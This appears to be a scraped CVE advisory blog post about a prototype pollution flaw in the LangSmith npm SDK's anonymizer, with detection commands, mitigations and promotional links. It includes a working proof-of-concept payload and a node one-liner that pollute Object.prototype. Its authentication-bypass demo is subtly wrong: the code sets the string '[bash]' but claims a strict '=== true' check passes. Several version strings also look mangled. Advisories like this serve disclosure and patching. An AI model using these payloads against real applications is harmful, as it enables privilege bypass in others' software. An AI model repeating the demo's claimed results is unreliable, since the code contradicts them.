Nodejs/npm, Prototype Pollution, GHSA-fw9q-39r9-c252 (Medium)

Listen to this Post

The CVE arises from an incomplete prototype pollution fix in the vendored lodash `set()` utility inside LangSmith SDK (npm `langsmith` ≤0.5.17). The `baseAssignValue()` function guards only against the `__proto__` key but not against `constructor.prototype` traversal. When an attacker supplies a dotted path like "constructor.prototype.polluted", `castPath()` splits it into ["constructor","prototype","polluted"]. `baseSet()` then iterates: starting from the target object, it accesses `obj.constructor` (which points to Object), then Object.prototype, and finally calls assignValue(Object.prototype, "polluted", value). This triggers `baseAssignValue()` with key `”polluted”` — not `”__proto__”` — so the guard is bypassed, and `Object.prototype.polluted` is set directly. The `createAnonymizer()` API exposes this vector: `extractStringNodes()` builds dotted paths from user‑controlled keys, then `set()` writes back anonymized strings. Even though `createAnonymizer()` clones data via JSON.parse/stringify, the clone’s `wrapper.constructor` still resolves to the global `Object` constructor, allowing the pollution to escape the clone boundary. An attacker can inject a nested object like {"wrapper":{"constructor.prototype.isAdmin":"secret"}}; after anonymization, `({}).isAdmin` becomes polluted. This enables authentication bypass, RCE in template engines, DoS, or data exfiltration in any Node.js process using the affected SDK.

dailycve form:

Platform: LangSmith npm package
Version: <=0.5.17
Vulnerability: Prototype pollution via constructor
Severity: Medium CVSS 5.6
date: 2026-04-11

Prediction: Patched in 0.5.18

What Undercode Say:

Analytics

Check installed version
npm list langsmith
Detect vulnerable usage in code
grep -r "createAnonymizer" . --include=".js"
Simulate pollution in test environment
node -e "const { createAnonymizer } = require('langsmith/anonymizer'); const a = createAnonymizer([{pattern:/./, replace:'x'}]); a({p:{'constructor.prototype.polluted':1}}); console.log(global.polluted);"

how Exploit:

import { createAnonymizer } from "langsmith/anonymizer";
const anonymizer = createAnonymizer([{ pattern: /secret/, replace: "[bash]" }]);
const malicious = { wrapper: { "constructor.prototype.isAdmin": "secret-value" } };
anonymizer(malicious);
console.log(({}).isAdmin); // "[bash]" → pollution successful
// Authentication bypass example
function isAdmin(user) { return user.isAdmin === true; }
console.log(isAdmin({})); // true

Protection from this CVE

  • Upgrade to `[email protected]` or higher immediately.
  • If unable to upgrade, monkey‑patch `baseAssignValue` to also block `”constructor”` and `”prototype”` keys.
  • Sanitize all user‑controlled object keys before passing to `createAnonymizer()` (reject paths containing `constructor` or prototype).
  • Use `Object.freeze(Object.prototype)` as a temporary mitigation (may break some libraries).

Impact

  • Authentication bypass – any `user.isAdmin` or similar privilege check becomes true for all objects.
  • Remote code execution – polluted properties in template engines (Pug, EJS, Handlebars) can reach eval()/Function() sinks.
  • Denial of service – overwriting toString, valueOf, or `hasOwnProperty` crashes core logic.
  • Data exfiltration – injecting malicious getters on `Object.prototype` can leak sensitive data during serialization.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top